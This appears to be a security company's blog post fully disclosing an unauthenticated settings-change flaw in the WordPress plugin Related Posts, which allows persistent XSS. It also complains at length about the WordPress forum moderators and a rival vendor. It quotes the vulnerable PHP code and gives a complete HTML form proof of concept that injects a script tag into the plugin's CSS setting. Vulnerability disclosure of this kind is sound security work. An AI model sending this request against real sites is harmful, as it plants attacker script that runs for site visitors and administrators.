WordPress Plugin Team Paints Target on Exploitable Settings Change Vulnerability That Permits Persistent XSS in Related Posts
When we announced a protest of the continued inappropriate behavior of the WordPress Support Forum moderators, one of the changes we suggested to resolve that was:
Don’t post on things they don’t understand. This really ties into the last item since you often have moderators providing people incorrect information and then they appear to not be able to handle that someone provides information that disputes that, leading to accurate information being deleted.
Along the those lines in November the person who is charge of the moderation of the Support Forum and also one of the six members of the team running the Plugin Directory, Samuel “Otto” Wood, wrote this:
To everybody else: most of the time when a plugin is delisted, it is not for a security issue. Taking pre-emptive measures like removing the plugin just because it was delisted is never really necessary.
That came less than a month after some of those that didn’t at least deactivate a popular closed plugin were exploited due to the poorly thought out process of handling vulnerable plugins by the Plugin Directory team. The plugin AMP for WP – Accelerated Mobile Pages was closed on October 21. 8 days later a fix for an authenticated persistent cross-site scripting (XSS) was submitted to the public Subversion repository underlying the Plugin Directory. That same day we detailed the vulnerability for our customers, started warning them about it, and offering help to update to the fixed version (since you couldn’t do that normally due to the plugin being closed). Hackers obviously could do the same thing and considering this plugin was one of the 1,000 most popular plugins that made it an obvious target. While the plugin was still closed on November 4 we had started seeing hackers probing for usage of the plugin to exploit that. Taking the pre-emptive action of deactivating the plugin would have protected websites from being hacked.
If you were relying on other security companies, you were in trouble as they didn’t even know about that until well after the fact. For example, Wordfence wrote about this being exploited only on November 20 and started their post:
News broke last week disclosing a number of vulnerabilities in the AMP For WP plugin, installed on over 100,000 WordPress sites.
News didn’t break that previous week, which started November 11, seeing as we had already warned that hackers were targeting this as of six days before that (the person that wrote their post has the title of “threat analyst”, which apparently doesn’t mean much). That was rather problematic when you consider that Wordfence had to write a new rule to protect against this:
The Wordfence firewall has a new rule that defends sites against this exploit.
So they couldn’t protect against that until after they knew about it, which was well after the fact. At the point they were warning about this, the plugin had already been reopened, so they provided protection slower than simply keeping your plugins up to date.
In response to that situation and others we started monitoring the closure of the 1,000 most popular plugins, so that we could better get ahead of hackers while the WordPress team continues to refuse to work with others to improve their handling of insecure plugins to avoid situations like the one mentioned above. Through that we spotted that the plugin Related Posts, which has 60,000+ installs, had been closed today and as we began a quick over the security of the plugin we identified the plugin contains a settings change vulnerability that permits persistent cross-site scripting (XSS). That is same kind of vulnerability that we spotted in the plugin Social Warfare last week before it was widely exploited. We wouldn’t want to make a bet that hackers are not in the process of figuring out the same thing, seeing as how obvious it is once you know that the plugin may have a security vulnerability, which closing it does.
If a security review had been done of the plugin at any point in its five years of existence this could have already been caught, since there no nonce is included with request to change the plugin’s settings, which would tell you that there is at least a cross-site request forgery (CSRF) vulnerability and then if you took the time to look at the underlying code you would see the larger issue.
Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since multiple previously full disclosed vulnerabilities were quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.
Details
In the plugin’s main file the file /assets/ilenframework/core.php is included:
2400 | require_once "assets/ilenframework/core.php"; |
That file will create a new instance of the class “ilen_framework_30”:
5301 | $IF = new ilen_framework_30; |
The __construct() function in that class will cause the functin _ini_() to be run when visiting admin pages (is_admin() is actually being used as intended there):
138 139 140 141 142 143 144 145 146 147 148 149 150 | function __construct(){ if( ! is_admin() ){ // only front-end self::set_main_variable(); return; }elseif( is_admin() ){ // only admin // set default if not exists self::_ini_(); |
That function will run the function save_options() is the GET input “page” is set to “yuzo-related-post”:
129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 | function _ini_(){ self::set_main_variable(); self::setComponents(); self::theme_plugin_install_set_default_values(); if( isset($this->parameter['id_menu']) && isset($_GET["page"]) && ( $_GET["page"] == $this->parameter['id_menu'] ) ){ // validate if admin page is the option // get Components //self::_getComponents_(); // set varaible configuration $this->options = $this->IF_CONFIG->options; // if save update options if($this->parameter['type'] == 'plugin-tabs'){ self::save_options_for_tabs(); }else{ self::save_options(); |
That function will then change the plugin’s settings without doing any security checks:
4325 4326 4327 4328 4329 4330 4331 4332 4333 4334 4335 4336 4337 4338 4339 4340 4341 4342 4343 4344 4345 4346 4347 4348 4349 4350 4351 4352 4353 4354 4355 4356 4357 4358 4359 4360 | function save_options(){ global $options_update; $options_update = null; //delete_option( $this->parameter['name_option']."_options" ); //var_dump( $_POST );exit; //code save options the theme if( isset($_POST) && ( isset($_POST['save_options']) || isset($_POST['reset_options'] ) ) && $_POST["name_options"] == $this->parameter["name_option"] ){ $Myoptions = self::theme_definitions(); if( is_array($Myoptions) ){ foreach ($Myoptions as $key2 => $value2) { if( $key2 != 'last_update' ){ self::fields_update($value2['options'], false); //break; }else{ $options_update[$key2] = time(); } } } if( is_array($options_update) ){ $options_act = get_option( $this->parameter['name_option']."_options"); //var_dump($options_act); $options_update['active_license'] = isset($options_act['active_license']) ? $options_act['active_license'] : ''; //var_dump($options_update); if(update_option( $this->parameter['name_option']."_options" , $options_update)){ |
All that means, as the proof of concept below shows, is that an attacker can cause malicious JavaScript code to be set in the plugin’s setting and then it will get shown on the impacted website’s frontend and backend pages.
It is important to note that the proof of concept was created by simply changing a single setting from the plugin’s default to include JavaScript code and another one to have the plugin’s functionality included on the home page, so that isn’t something hackers would have an issue creating on their own.
Proof of Concept
The following proof of concept will cause an alert box with the message “XSS” to be shown on the plugin’s admin page, /wp-admin/admin.php?page=yuzo-related-post, and the homepage of the website.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-post.php?page=yuzo-related-post" method="POST"> <input type="hidden" name="yyuzo_related_post_top_text" value="<h3>Related Post</h3>" /> <input type="hidden" name="yuzo_related_post_display_post" value="4" /> <input type="hidden" name="yuzo_related_post_post_type[]" value="post" /> <input type="hidden" name="yuzo_related_post_no_show_archive_page" value="1" /> <input type="hidden" name="yuzo_related_post_default_image" value="http://localhost/wp-content/plugins/yuzo-related-post/assets/images/default.png" /> <input type="hidden" name="yuzo_related_post_related_to" value="1" /> <input type="hidden" name="yuzo_related_post_order_by" value="rand" /> <input type="hidden" name="yuzo_related_post_order" value="DESC" /> <input type="hidden" name="yuzo_related_post_order_by_taxonomias" value="" /> <input type="hidden" name="yuzo_related_post_automatically_append" value="1" /> <input type="hidden" name="yuzo_related_post_display_post_home" value="4" /> <input type="hidden" name="yuzo_related_post_categories[]" value="-1" /> <input type="hidden" name="yuzo_related_post_exclude_category[]" value="-1" /> <input type="hidden" name="yuzo_related_post_exclude_category_related" value="1" /> <input type="hidden" name="yuzo_related_post_exclude_tag" value="" /> <input type="hidden" name="yuzo_related_post_exclude_id" value="" /> <input type="hidden" name="yuzo_related_post_no_appear" value="" /> <input type="hidden" name="yuzo_related_post_only_in_post" value="" /> <input type="hidden" name="yuzo_related_post_display_random" value="1" /> <input type="hidden" name="yuzo_related_post_hook_priority" value="10" /> <input type="hidden" name="yuzo_related_post_style" value="1" /> <input type="hidden" name="yuzo_related_post_thumbnail_size" value="thumbnail" /> <input type="hidden" name="yuzo_related_post_background_size" value="cover" /> <input type="hidden" name="yuzo_related_post_height_image" value="110" /> <input type="hidden" name="yuzo_related_post_type_image" value="rectangular" /> <input type="hidden" name="yuzo_related_post_height_full" value="" /> <input type="hidden" name="yuzo_related_post_image_order" value="DESC" /> <input type="hidden" name="yuzo_related_post_bg_color_color" value="" /> <input type="hidden" name="yuzo_related_post_bg_color_hover" value="#fcfcf4" /> <input type="hidden" name="yuzo_related_post_bg_color_hover_transitions" value="0.2" /> <input type="hidden" name="yuzo_related_post_thumbnail_border_radius" value="0" /> <input type="hidden" name="yuzo_related_post_related_margin_top" value="0" /> <input type="hidden" name="yuzo_related_post_related_margin_right" value="0" /> <input type="hidden" name="yuzo_related_post_related_margin_bottom" value="0" /> <input type="hidden" name="yuzo_related_post_related_margin_left" value="0" /> <input type="hidden" name="yuzo_related_post_related_padding_top" value="5" /> <input type="hidden" name="yuzo_related_post_related_padding_right" value="5" /> <input type="hidden" name="yuzo_related_post_related_padding_bottom" value="5" /> <input type="hidden" name="yuzo_related_post_related_padding_left" value="5" /> <input type="hidden" name="yuzo_related_post_effect_related" value="none" /> <input type="hidden" name="yuzo_related_post_font_size" value="13" /> <input type="hidden" name="yuzo_related_post_text_length" value="50" /> <input type="hidden" name="yuzo_related_post_title_color_color" value="" /> <input type="hidden" name="yuzo_related_post_title_color_hover" value="" /> <input type="hidden" name="yuzo_related_post_text_color_color" value="" /> <input type="hidden" name="yuzo_related_post_text_color_hover" value="" /> <input type="hidden" name="yuzo_related_post_text2_length" value="0" /> <input type="hidden" name="yuzo_related_post_text_show" value="1" /> <input type="hidden" name="yuzo_related_post_theme" value="default" /> <input type="hidden" name="yuzo_related_post_css_and_style" value='</style><script>alert("XSS");</script>' /> <input type="hidden" name="yuzo_related_post_show_columns_dashboard" value="1" /> <input type="hidden" name="yuzo_related_post_meta_views" value="yuzo-views" /> <input type="hidden" name="yuzo_related_post_meta_views_custom" value="" /> <input type="hidden" name="yuzo_related_post_show_in_related_post_position" value="show-views-bottom" /> <input type="hidden" name="yuzo_related_post_show_in_related_post_text" value="views" /> <input type="hidden" name="yuzo_related_post_format_count" value="" /> <input type="hidden" name="yuzo_related_post_active_widget" value="1" /> <input type="hidden" name="save_options" value="1" /> <input type="hidden" name="name_options" value="yuzo_related_post" /> <input type="submit" value="Submit" /> </form> </body> </html>
well this is all over the internet today as someone got a way to hack it.
https://stackoverflow.com/questions/55610548/possible-vulnerability-in-closed-plugin-yuzo-related-posts/
Yep, and the WP repo mods are locking support threads left-and-right to stop discussion of it.